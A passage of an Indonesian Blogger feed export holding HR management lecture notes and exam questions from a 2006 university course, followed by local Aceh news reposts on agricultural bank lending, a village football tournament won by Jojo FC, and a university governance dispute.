dicapainya,<br />sehingga semangat kerja dan sikap loyal karyawan akan lebih baik.<br />c. Jenis-jenis Insentif<br />1). Insentif positif<br />Adalah daya perangsang dengan memberikan hadiah material atau<br />nonmaterial kepada karyawan yang prestasi kerjanya di atas prestasi standar.<br />2). Insentif negatif<br />Insentif negatif adalah daya perangsang dengan memberikan ancaman<br />hukuman kepada karyawan yang prestasi kerjanya, dibawah prestasi standar.<br />d. Bentuk-bentuk Insentif<br />1). Nonmaterial insentif<br />Adalah daya perangsang yang diberikan kepada karyawan berbventuk<br />penghargaan/pengukuhan berdasarkan prestasi kerjanya, seperti piagam, piala<br />atau medali.<br />95<br />2). Sosial insentif<br />Adalah daya perangsang yang diberikan kepada karyawan berdasarkan<br />prestasi kerjanya, berupa fasilitas dan kesempatan untuk mengembangkan<br />kemampuannya, seperti promosi, mengikuti pendidikan atau naik haji.<br />3). Material insentif<br />Adalah daya perangsang yang diberikan kepada karyawan berdasarkan<br />prestasi kerjanya, berbentuk uang dan barang. Material insentif bernilai<br />ekonomis sehingga dapat meningkatkan kesejahteraan karyawan beserta<br />keluarganyua.<br />C. Pengertian dan Program Kesejahteraan<br />Pentingnya Kesejahteraan<br />Untuk mempertahankan karyawan ini kepadanya diberikan<br />kesejahteraan/kompensasi pelengkap/fringe benefits/gaji tersembunyi/ indirect<br />compensation/employee welfare. Kesejahteraan yang diberikan sangat berarti dan<br />bermafaat untuk memenuhi kebutuhan fisik dan mental karyawan beserta keluarganya.<br />Pemberian kesejahteraan akan menciptakan ketenangan, semangat kerja, dedikasi,<br />disiplin dan sikap loyal karyawan terhadap sehingga labour turnover relatif rendah.<br />Begitu besarnya arti dan manfaat kesejahteraan karyawan sehingga mendorong<br />manajer menetapkan program kesejahteraan karyawan. Program kesejahteraan karyawan<br />harus disusun berdasarkan peraturan legal, berasaskan keadilan dan kelayakan (internal<br />dan eksternal konsistensi) dan berpedoman kepada kemampuan perusahaan).<br />Kesejahteraan karyawan adalah balas jasa pelengkap (material dan nonmaterial)<br />yang diberikan berdasarkan kebijaksanaan. Tujuannya untuk mempertahankan dan<br />memperbaiki kondisi fisik dan mental karyawan agar produktivitas kerjanya meningkat.<br />Tujuan Pemberian Kesejahteraan antara lain sebagai berikut :<br />1). Untuk meningkatkan kesetiaan dan keterikatan karyawan kepada perusahaan<br />2). Memberikan ketenangan dan pemenuhan kebutuhan bagi karyawan beserta<br />keluarganya<br />3). Memotivasi gairah kerja, disiplin dan produktivitas kerja karyawan<br />96<br />4). Menurunkan tingkat absensi dan turnover karyawan<br />5). Menciptakan lingkungan dan suasana kerja yang baik serta nyaman<br />6). Membantu lancarnya pelaksanaan pekerjaan untuk mencapai tujuan<br />7). Memelihara kesehatan dan meningkatkan kualitas karyawan<br />8). Mengefektifkan pengadaan karyawan<br />9). Membantu pelaksanaan program pemerintah dalam meningkatkan kualitas manusia<br />Indonesia<br />10). Mengurangi kecelakaan dan kerusakan peralatan perusahaan<br />11). Meningkatkan status sosial karyawan beserta keluarganya.<br />Jenis-Jenis Kesejahteraan<br />No Ekonomis Fasilitas Pelayanan<br />1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />Uang pensiun<br />Uang makan<br />Uang transpor<br />Uang lebaran/natal<br />Bonus/gratifikasi<br />Uang duka kematian<br />Pakaian dinas<br />Uang pengobatan<br />Mushala/Masjid<br />Kafetaria<br />Olahraga<br />Kesenian<br />Pendidikan/seminar<br />Cuti dan cuti hamil<br />Koperasi dan toko<br />Izin<br />Puskesmas/dokter<br />Jemputan karyawan<br />Penitipan bayi<br />Bantuan hukum<br />Penasihat keuangan<br />Asuransi/astek<br />Kredit rumah<br />D. Keselamatan dan Kesehatan Kerja<br />Keselamatan dan Kesehatan Kerja (KKK) akan menciptakan terwujudnya<br />pemeliharaan karyawan yang baik. KKK ini harus ditanamkan pada diri masing-masing<br />individu karyawan, dengan penyuluhan dan pembinaan yang baik agar mereka menyadari<br />pentingnya keselamatan kerja bagi dirinya maupun untuk perusahaan. Apabila banyak<br />terjadi kecelakaan, karyawan banyak yang menderita, absensi meningkat, produksi<br />menurun, dan biaya pengobatan semakin besar. Ini semua akan menimbulkan kerugian<br />bagi karyawan maupun perusahaan bersangkutan, karena mungkin karyawan terpaksa<br />berhenti bekerja sebab cacat dan peruashaan kehilangan karyawannya.<br />97<br />Hal inilah yang mendorong pentingnya KKK ditanamkan pada diri pada<br />karyawan, bahkan perlu diberikan hukuman bagi karyawan yang tidak memakai alat-alat<br />pengaman (seperti masker, sarung tangan, tutup mulut, dan hidung) saat bekerja. KKK ini<br />merupakan tindakan kontrol preventif yang mendorong terwujudnya pemeliharaan<br />karyawan yang baik.<br />E. Hubungan Industrial Pancasila (HIP)<br />HIP adalah hubungan antara para pelaku dalam proses produksi barang dan jasa<br />(buruh, pengusaha dan pemerintah) didasarkan atas nilai yang merupakan manifestasi<br />dari keseluruhan sila-sila Pancasila dan Undang-Undang Dasar 1945, yang tumbuh dan<br />berkembang di atas kepribadian bangsa dan kebudayaan nasional Indonesia.<br />Ciri-ciri Khas HIP<br />1). HIP didasarkan atas Ketuhanan Yang Maha Esa, kemanusiaan yang adil dan beradab,<br />persatuan Indonesia, kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam<br />permusyawaratan perwakilan dan keadilan sosial bagi seluruh rakyat Indonesia di<br />dalam satu pengertian yang utuh dan bulat.<br />2). HIP ialah hubungan perburuhan yang secara keseluruhan dijiwai oleh kelima sila<br />Pancasila.<br />3). HIP didasarkan atas suasana serta keserasian, keselarasan dan keseimbangan antara<br />pihak-pihak yang tersangkut dalam keseluruhan proses produksi, yaitu buruh,<br />pengusaha, pemerintah dan masyarakat umum.<br />4). HIP berpegang pula pada Tridharma dimana antara buruh, pengusaha dan pemerintah<br />tercipta saling merasa ikut mmeiliki, memelihara, mempertahankan dan terus<br />menerus mawas diri, yang mengandung asas partnership dan tanggung jawab<br />bersama.<br />98<br />Konsep pemeliharaan<br />Metode – metode<br />Pemeliharaan<br />Pemeliharaan atau<br />Maintenance<br />Kesejahteraan<br />Karyawan<br />Keselamatan dan<br />kesehatan kerja<br />Pengertian,<br />Tujuan dan Asas<br />Hubungan<br />Industrial Pancasila<br />Jenis dan bentukbentuk<br />insentif<br />99<br />DAFTAR PUSTAKA<br />Gary Dessler, Human Resources Management, 9th edition, Prentice Hall, 2003<br />Randal S. Schuler, Susan E. Jackson, MSDM Menghadapi Abad ke 21, 1997<br />Henry Simamora, MSDM Edisi 3 Tahun 2004<br />Anwar Prabu mangkunegara, MSDM perusahaan, 2004<br />100<br />Ujian Semester Ganjil T.A. 2006/2007<br />Mata Kuliah : MSDM<br />Hari/Tgl : Kamis, 14 Desember 2006<br />Waktu : 60 menit<br />Dosen : Dra. Komariah Pandia, Msi<br />Doli M. Ja’far Dalimunthe, SE<br />Dra. Yulinda, Msi<br />1. Bagaimana seorang manajer yang profesional menyediakan sejumlah karyawan yang<br />efektif sesuai dengan kebutuhan organisasinya. Jelaskan prosesnya.<br />2. Untuk meningkatkan keterampilan karyawan dalam bekerja, dapat dilakukan melalui<br />pelatihan. Jelaskan faktor-faktor yang mempengaruhi pelatihan yang efektif dan<br />jelaskan juga alasan-alasan mengapa program pelatihan perlu dilakukan.<br />3. Ada dua bentuk kompensasi, uraikan secara ringkas pengertian kompensasi dan<br />terapkan kompensasi secara langsung dan tidak langsung dengan memberikan satu<br />contoh perusahaan dengan sistem kompensasinya.<br />4. Uraikan yang anda ketahui peran penting pengintegrasian berkaitan dengan<br />produktivitas perusahaan.<br />5. Dalam perusahaan penting adanya K3 (Keselamatan, dan Kesejahteraan Kerja).<br />Jelaskan pengertian K3 dan pentingnya pemeliharaan.<br />6. Setelah anda mengikuti mata kuliah MSDM, coba berikan ide/gagasan yang anda rasa<br />efektif dalam memajukan perusahaan dalam masalah MSDM (Boleh dengan kasus<br />yang anda cari pada tugas anda).<br />101<br />Fakultas Ekonomi<br />Universitas Sumatera Utara<br />M e d a n<br />Ujian Mid Semester T.A. 2006/2007<br />Mata Kuliah : Manajemen Sumber Daya Manusia<br />Dosen : Dra. Komariah Pandia, Msi<br />Doli M. Ja’far Dalimunthe, SE<br />Dra. Yulinda, Msi<br />Tanggal : 5 Oktober 2006<br />Waktu : 90 menit<br />1. Uraikan secara sistematis Fungsi Operasional dari MSDM!<br />2. Berikan pengertian Fungsi Pengadaan Tenaga Kerja dan<br />langkah-langkah yang diambl dalam proses Pengadaan Tenaga<br />Kerja!<br />3. Apakah fungsi MSDM bagi Manajer untuk aplikasi pada<br />strategik Perusahaan?<br />4. Bagaimana mengoptimalkan pendidikan dan latihan yang<br />diberikani kepada tenaga kerja dalam menjalankan fungsi<br />pengembangan tenaga kerja?<br />5. Berikan perbandingan antara external dan internal recruitment!<br />6. Ceritakan dengan ringkas keterkaitan dan pembeda antara<br />Performanca Appraical (PA) dengan Job Value (JV)<br />– Selamat Bekerja -jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com1tag:blogger.com,1999:blog-1577612414313430482.post-62618636015597929572010-04-23T02:48:00.001-07:002010-04-23T02:49:45.969-07:00<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IvYPqzEnREI/S9FtKlfou4I/AAAAAAAAAHI/hFPG8BkXo5g/s1600/FGFG.jpg"><img style="float: right; margin: 0pt 0pt 10px 10px; cursor: pointer; width: 320px; height: 214px;" src="http://2.bp.blogspot.com/_IvYPqzEnREI/S9FtKlfou4I/AAAAAAAAAHI/hFPG8BkXo5g/s320/FGFG.jpg" alt="" id="BLOGGER_PHOTO_ID_5463267851608046466" border="0" /></a><br /><span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:'Times New Roman';font-size:medium;" ><span class="Apple-style-span" style="color: rgb(51, 51, 51); line-height: 16px; text-align: justify;font-family:Verdana,Arial,sans-serif;font-size:13px;" ><span style="padding: 0px; margin: 0px; font-weight: bold;">BANDA ACEH</span><span class="Apple-converted-space"> </span>- Pemerintah Aceh menantang perbankan untuk berani mengucurkan kreditnya ke sektor pertanian. Lima tahun terakhir, peran lembaga keuangan tersebut dinilai masih sangat minim. Padahal bank diharapkan bisa menjadi penopang kebangkitan pertanian Aceh seiring berakhirnya kegiatan rehabilitasi dan rekonstruksi pascatsunami. Sekretaris Daerah (Sekda) Aceh, Husni Bahri TOB, ketika memberi sambutan dalam acara Worksop Analisa Kredit dan Risk Managament Agrobisnis di Hotel Oasis, Banda Aceh, Rabu (21/4), mengungkapkan, tumbuhnya sektor pertanian di Aceh dua tahun terakhir disebabkan oleh adanya bantuan dari donor dan NGO yang terkait dengan kegiatan rehab rekons. “Keterlibatan bank selama ini sangat minim sekali. Bank hanya mengumpulkan uang masyarakat Aceh tetapi tidak menginvestasikan (mengucurkan kredit) di Aceh. Seharusnya uang itu dikucurkan juga di Aceh,” ucap Husni kepada wartawan usai acara tersebut. Minimnya keterlibatan bank tersebut juga terlihat dari share (sumbangan) kredit perbankan ke sektor pertanian. Sebagaimana diberitakan koran ini kemarin, data Bank Indonesia (BI) Banda Aceh menunjukkan, lima tahun terakhir, share kredit pertanian tak pernah melampaui angka tiga persen dari total penyaluran kredit. Pemerintah Aceh kata Husni, sudah berulangkali mengajak dan mengimbau perbankan agar mau mengucurkan kreditnya ke sektor pertanian. “Kita sudah berulangkali sarankan, tapi yang namanya bank, berisiko ya ditinggalkan,” pungkasnya.<span class="Apple-converted-space"> </span> <span style="padding: 0px; margin: 0px; font-weight: bold;">Ubah pola pikir</span> Disinggung mengenai peran BPD Aceh dan BPRS Mustaqim, yang notabene-nya merupakan perusahaan perbankan milik daerah, Husni menyatakan bahwa pemerintah Aceh telah berupaya maksimal. Hal itu terlihat dari besarnya porsi kredit BPD dari keseluruhan kredit yang dikucurkan perbankan di Aceh. “Mungkin selama ini yang banyak mengucurkan kredit di Aceh (adalah) Bank BPD. Bank BPD Aceh itu kan satu dari sekian banyak bank di Aceh. Yang lainnya mana?,” tanyanya lagi. Memang diakui, perbankan masih takut mengucurkan kredit ke sektor pertanian. Salah satunya disebabkan oleh historis (sejarah) yang jelek, dana banyak yang macet karena tidak dikembalikan oleh petani. Namun sekarang, dia menilai sudah saatnya bagi perbankan untuk mengubah pola pikir tersebut dan mengalihkan pembiayaannya dari sektor jasa-jasa (konsumtif) ke sektor pertanian.<span class="Apple-converted-space"> </span> “Sekarang yang terpenting adalah bagaimana caranya membangun kepercayaan bank kepada petani,” ucap Husni Bahri TOB. Karena itu, kegiatan (workshop) yang dilaksanakan kemarin dinilainya sangat penting karena akan mendidik AO (Account Officer) tentang cara menganalisis kelayakan kredit sektor pertanian dan disamping itu, petani juga akan diajarkan tentang tata cara membuat proposal yang baik. <span style="padding: 0px; margin: 0px; font-weight: bold;">Rekonstruksi ulang</span> Kegiatan workshop kemarin diikuti oleh 13 BPR/BPRS di seluruh Aceh dan 4 koperasi serba usaha (KSU). Workshop khusus dilaksanakan untuk BPR dan koperasi karena lembaga keuangan ini dinilai memiliki akses yang paling dekat ke masyarakat. Acara pelatihan berlangsung hingga 23 April 2010. Salah satu pemateri utama yang dihadirkan adalah Ahmad Subagio dari Perhimpunan Bank Perkreditan Rakyat Indonesia (Perbarindo) Pusat. Kepada Serambi dia menjelaskan, melalui kegiatan workshop ini diharapkan bisa merekonstruksi kembali kredit mikro pertanian sehingga BPR mengetahui secara benar bahwa kredit pertanian itu berbeda dengan kredit di sektor lainnya.<span style="padding: 0px; margin: 0px; font-weight: bold;">(yos)</span></span></span>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-87801968559917585012010-04-23T02:42:00.000-07:002010-04-23T02:46:57.608-07:00GAM CANTOI<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IvYPqzEnREI/S9FsEc7mdyI/AAAAAAAAAHA/Q4hk7gvv-g0/s1600/7da774f7761cde89f257b8cd1de2f75752442ca3.jpg"><img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_IvYPqzEnREI/S9FsEc7mdyI/AAAAAAAAAHA/Q4hk7gvv-g0/s320/7da774f7761cde89f257b8cd1de2f75752442ca3.jpg" alt="" id="BLOGGER_PHOTO_ID_5463266646718576418" border="0" /></a>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-37658990708866359212010-04-23T00:38:00.000-07:002010-04-23T00:40:59.573-07:00UNGGULI GAMUKER, JOJO FC KAMPIUN<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IvYPqzEnREI/S9FO-XwLdAI/AAAAAAAAAG4/5FPTLBg7BcY/s1600/22042010%28011%29.jpg"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_IvYPqzEnREI/S9FO-XwLdAI/AAAAAAAAAG4/5FPTLBg7BcY/s320/22042010%28011%29.jpg" alt="" id="BLOGGER_PHOTO_ID_5463234656412070914" border="0" /></a><br />SIGLI - Jojo FC Beureunuen tampil sebagai kampiun setelah menang tipis atas Gamuker Kerembok, Kembang Tanjong, 1-0 pada partai final turnamen sepakbola HUT PSJM Jeurat Manyang ke-4 di lapangan Jeurat Manyang, Kecamatan Mutiara Timur, Pidie, Kamis (22/4) petang.<br /><br />Hasil tersebut membuat Jojo berhak memboyong piala tetap plus uang pembinaan Rp 5 juta, yang diserahkan Danramil 24 Mutiara Timur, Lettu Inf Nazaruddin. Sementara untuk posisi kedua yang diraih Gemuker memperoleh hadiah Rp 3,5 juta dan piala, yang diserahkan Kapolsek Mutiara Timur, AKP Usman.<br /><br />Ketua Panitia, Syukri mengatakan, ajang sepakbola pada level tarkam itu bertujuan mempererat tali silaturrahmi antarsesama pemain. Kepada tim yang telah berhasil menjadi juara, pintanya, agar terus meningkatkan teknik permainan yang lebih bagus. “Bagi tim yang belum berhasil, sejatinya tetap bersemangat dalam melakukan latihan secara disiplin. Sehingga nantinya menjadi tim yang lebih disegani lawan,” imbuh Ayah Syukri, sapaan populernya.<br /><br />Pada pertandingan final kemarin, Jojo FC yang dimotori Ikhwani, Fery Komul, Hendra Saputra, dan winger Aminullah ‘Carlos’ Usman tanpa henti melancarkan serangan ke kubu Gamuker. Tusukan anak-anak Jojo dari semua lini terus mengancam gawang tim Kembang Tanjong yang dikawal Resevit Gunawan.<br /><br />Tak heran, derasnya tekanan Jojo mengakibatkan Resevit harus jatuh bangun mengantisipasi bola dari serangan Andrea dkk. Bahkan, beberapa kali tendangan jarak jauh Bang Carlos hampir membuahkan gol buat Jojo FC. Namun, cemerlangnya penjaga gawang serta kokohnya pertahanan bawah yang dikoordinir sang kapten Gamuker Helmi Ibrahim, mengakibatkan Suryadi Karimuddin dkk kesulitan membobolkan jala Gamuker. Hingga jeda babak pertama, hasil tetap kacamata.<br /><br />Di babak kedua, tensi permainan kedua tim semakin alot. Gamuker maupun Jojo FC terus mencari celah menciptakan gol, tapi belum membuahkan hasil yang baik. Namun, di luar dugaan pada menit ke-50, Irwandi Makalee berhasil merobek jala Resevit Gunawan. Gol tersebut bermula dari umpan lambung dari Aminullah ‘Carlos’ Usman. Bola yang mengalir deras ke mulut gawang Gamuker jatuh di kaki Irwandi Makalele. Tampa membuang waktu mantan Pemain PSAB Aceh Besar itu langsung menghujani gawang Gamuker. Hingga wasit Amiruddin meniupkan pluit terakhir, Jojo FC tetap unggul, 1-0.jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-35371525840909817682010-04-22T08:02:00.000-07:002010-04-22T08:13:03.067-07:00JOJO FC MERAIH JUARA 1<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IvYPqzEnREI/S9BnTBtr5BI/AAAAAAAAAGw/24GvFq-1Hi0/s1600/22042010(017).jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 240px; height: 320px;" src="http://2.bp.blogspot.com/_IvYPqzEnREI/S9BnTBtr5BI/AAAAAAAAAGw/24GvFq-1Hi0/s320/22042010(017).jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462979924575642642" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IvYPqzEnREI/S9BnSnZGZrI/AAAAAAAAAGo/wbaxmVzDlYE/s1600/22042010(022).jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 240px; height: 320px;" src="http://3.bp.blogspot.com/_IvYPqzEnREI/S9BnSnZGZrI/AAAAAAAAAGo/wbaxmVzDlYE/s320/22042010(022).jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462979917509977778" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IvYPqzEnREI/S9BnSHK1zdI/AAAAAAAAAGg/fomqZ5XubJo/s1600/22042010(019).jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_IvYPqzEnREI/S9BnSHK1zdI/AAAAAAAAAGg/fomqZ5XubJo/s320/22042010(019).jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462979908860235218" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IvYPqzEnREI/S9BnRv_HwWI/AAAAAAAAAGY/b-MlOY-o3gM/s1600/22042010(011).jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_IvYPqzEnREI/S9BnRv_HwWI/AAAAAAAAAGY/b-MlOY-o3gM/s320/22042010(011).jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462979902637064546" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IvYPqzEnREI/S9BnRfzquaI/AAAAAAAAAGQ/qGMaZoSeS4s/s1600/22042010(023).jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_IvYPqzEnREI/S9BnRfzquaI/AAAAAAAAAGQ/qGMaZoSeS4s/s320/22042010(023).jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462979898294057378" /></a><br />ALLHAMDULILLAH JOJO FC SUDAH MERAIH JUARA 1 YANG SUDAH DIPERKUATKAN OLEH TIM BANK BPD ACEH PASUKAN AMINULLAH USMAN ALIAS BANG CARLOS USMAN....SAYA SELAKU MANAJER JOJO FC MUHAMMAD IQBAL SAYA MINTAK TERIMA KASIH BANYAK KPD BAPAK AMINULLAH USMAN YG SUDAH MEMBANTU KAMI DENGAN SEMAKSIMAL MUNGKIN SEMOGA SAJA BAPAK AKAN TERPILIH LAGI SEBAGAI DIRUT BANK BPD ACEH AMIN....jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-42810246908825832432010-04-22T01:06:00.000-07:002010-04-22T01:10:17.453-07:00para pemain bola lagi hiburan ke banda aceh<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IvYPqzEnREI/S9AENl5v_cI/AAAAAAAAAGI/211aas0aT1A/s1600/28032010904.jpg"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_IvYPqzEnREI/S9AENl5v_cI/AAAAAAAAAGI/211aas0aT1A/s320/28032010904.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462870979559554498" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IvYPqzEnREI/S9AENIO5DHI/AAAAAAAAAGA/DDbyT7KCl-k/s1600/28032010930.jpg"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_IvYPqzEnREI/S9AENIO5DHI/AAAAAAAAAGA/DDbyT7KCl-k/s320/28032010930.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462870971595164786" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IvYPqzEnREI/S9AEM-KY0cI/AAAAAAAAAF4/ZiykZHtO7SI/s1600/28032010922.jpg"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 240px; height: 320px;" src="http://2.bp.blogspot.com/_IvYPqzEnREI/S9AEM-KY0cI/AAAAAAAAAF4/ZiykZHtO7SI/s320/28032010922.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5462870968891920834" /></a>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-88584812170753898812010-04-22T00:23:00.000-07:002010-04-22T00:23:34.315-07:00pertandingan sepak bola antara JOJO FC MUTIARA VS GEMUKER KEMBANG TANJUNG PADA BABAK FINAL<div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/_IvYPqzEnREI/S8_5ZJ5EK_I/AAAAAAAAAFw/2JUBaODoyvY/s1600/20042010%28018%29.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/_IvYPqzEnREI/S8_5ZJ5EK_I/AAAAAAAAAFw/2JUBaODoyvY/s320/20042010%28018%29.jpg" /></a></div><span class="Apple-style-span" style="border-collapse: separate; color: black; font-family: 'Times New Roman'; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #333333; font-family: 'lucida grande',tahoma,verdana,arial,sans-serif; font-size: 11px; line-height: 15px; text-align: left;">SORE hari ini pertandingan sepak bola dalam rangka TURNAMEN PSJM jeurat manyang...<br />
pada babak final antara JOJO FC MUTIARA VS GEMUKER FC KEMBANG TANJUNG...JOJO FC diperkuatkan oleh tim BANK BPD ACEH PASUKAN AMINULLAH USMAN alias BANG CARLOS USMAN....smoga JOJO FC AKAN MERAIH JUARA 1.....dengan skor 4-1....mohon mua@ didoain buat JOJO FC agar meraih juara 1...AMIN</span></span>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-42209199035276126432010-04-21T02:15:00.000-07:002010-04-21T02:15:24.113-07:00Unigha Siap Hadapi Tuntutan HukumTujuh Dekan Diambil Sumpah Pidie <br />
<div class="news-content left"><div class="news-photo"><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/_IvYPqzEnREI/S87CAN0ATNI/AAAAAAAAAFo/XRuL_a9kRoA/s1600/0a436c0f161fdc45e7e68bead3502d8cad245288.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/_IvYPqzEnREI/S87CAN0ATNI/AAAAAAAAAFo/XRuL_a9kRoA/s320/0a436c0f161fdc45e7e68bead3502d8cad245288.jpg" /></a></div><a class="fancybox" href="http://serambinews.com/files/photos/xlarge/0a436c0f161fdc45e7e68bead3502d8cad245288.jpg"><img alt="" src="file:///E:/serambi/Serambinews%20-%20Berita%20dari%20Aceh%20-%20Unigha%20Siap%20Hadapi%20Tuntutan%20Hukum_files/0a436c0f161fdc45e7e68bead3502d8cad245288.jpg" /></a> Plt Rektor Universitas Jabal Ghafur (Unigha) Sigli, Pidie, Dr Hasballah M Saad MS melantik tujuh dekan di universitas tersebut, Senin (19/4). <span style="font-weight: bold;">SERAMBI/IDRIS ISMAIL </span></div><span style="font-weight: bold;">SIGLI </span>- Pelaksana Tugas (Plt) Rektor Universitas Jabal Ghafur (Unigha) Sigli, Pidie, DR Hasballah M Saad MS menyatakan pihaknya siap menghadapi tuntutan secara hukum dari pihak yang telah mensomasi atas perombakan struktur pengurus yayasan.<br />
<br />
Hal itu dikatakan Hasballah M Saad kepada sejumlah wartawan usai acara pelantikan tujuh dekan di lingkungan kampus Unigha, Senin (19/4) petang, menanggapi somasi oleh tiga pengurus yayasan Unigha terdahulu melalui kuasa hukumnya Mukhlis Mukhtar dari kantor konsultan hukum Mukhlis, Safar & Patners. <br />
<br />
“Berdasarkan rapat dewan pembina pada 11 November 2009 lalu, ketiga pihak yang mensomasi melalui kuasa hukum (Hanif Basyah, Muhammad Nur Ali dan Syafari Haitami, -red) telah duduk dalam rapat tersebut. Namun, hanya Hanif Basyah yang berhalangan hadir berhubung beliau sakit, dan pada intinya semua menyepakati semua hasil keputusan perubahan pengurus yayasan kampus Unigha sesuai dengan notulen rapat serta turut ditandatanganinya,” sebut Hasballah M Saad.<br />
<br />
Menurut Hasballah, sebelum sampai ke jalur hukum pihaknya menginginkan agar persoalan tersebut bisa diselesaikn dengan penuh kekeluargaan, apalagi ketiga mereka, Hanif Basyah, Muhammad Nur Ali, dan Syafari Haitami, hingga kini masih menjabat sebagai pengurus yayasan. Masing-masing Syafari Haitami masih menjabat Ketua Umum Dewan Pembina, Hanif Basyah dan Muhammad Nur Ali sebagai anggota dewan pembina.<br />
<br />
“Jadi tidak ada yang dirugikan, malahan jabatan mereka diberikan seumur hidup. Maka buat apa kita memperkeruh suasana dan hanya memperebutkan pepesan kosong ini. Kalaupun mereka ingin menempuh secara jalur hukum kami siap menghadapinya serta membuktikan sejumlah fakta,” tegas.<br />
<br />
Seperti dilansir Serambi, Senin (19/4), Universitas Jabal Ghafur (Unigha) sejak dua hari lalu disomasi (diperingatkan) secara hukum oleh Hanif Basyah, Muhammad Nur Ali, dan Syafari Haitami melalui kuasa hukumnya Mukhlis Muktar dari kantor Konsultan hukum Mukhlis, Safar & Patnerts. Somasi itu dilayangkan karena pengangkatan pembina yayasan baru pada tanggal 3 Novenmber 2009 lalu tidak sesuai dengan ketentuan hukum.<br />
<br />
<span style="font-weight: bold;">Tujuh dekan </span><br />
DR Hasballah M Saad sebelumnya mengambil sumpah jabatan sekaligus melantik tujuh dekan dalam lingkungan Unigha di Gedung Leguna yang turut dihadiri tiga Pembantu Rektor, DR Nazli Ismail, Drs Lukman Msi, dan Drs Amiruddin Mahmud Msi.<br />
<br />
Ketujuh dekan tersebut masing-masing Drs Sulaiman sebagai Dekan FKIP sebelumnya dijabat oleh Drs Helmi Z Yunus MPD, Dekan Fakultas Tehnik Informatika Drs T Sofyan Suri ST, Dekan D3 Tehnik Drs Arsyad. Dekan Fakultas Ekonomi Drs T Iskandar Ben Hasan SU, Dekan Fakultas Ilmu Administrasi Drs HT Hasan Ben Msi, Dekan Fakultas Pertanian Dr Ir Mustafa Usman Msi, dan Dekan Fakultas Hukum Dr Adwani SH MHum <br />
<br />
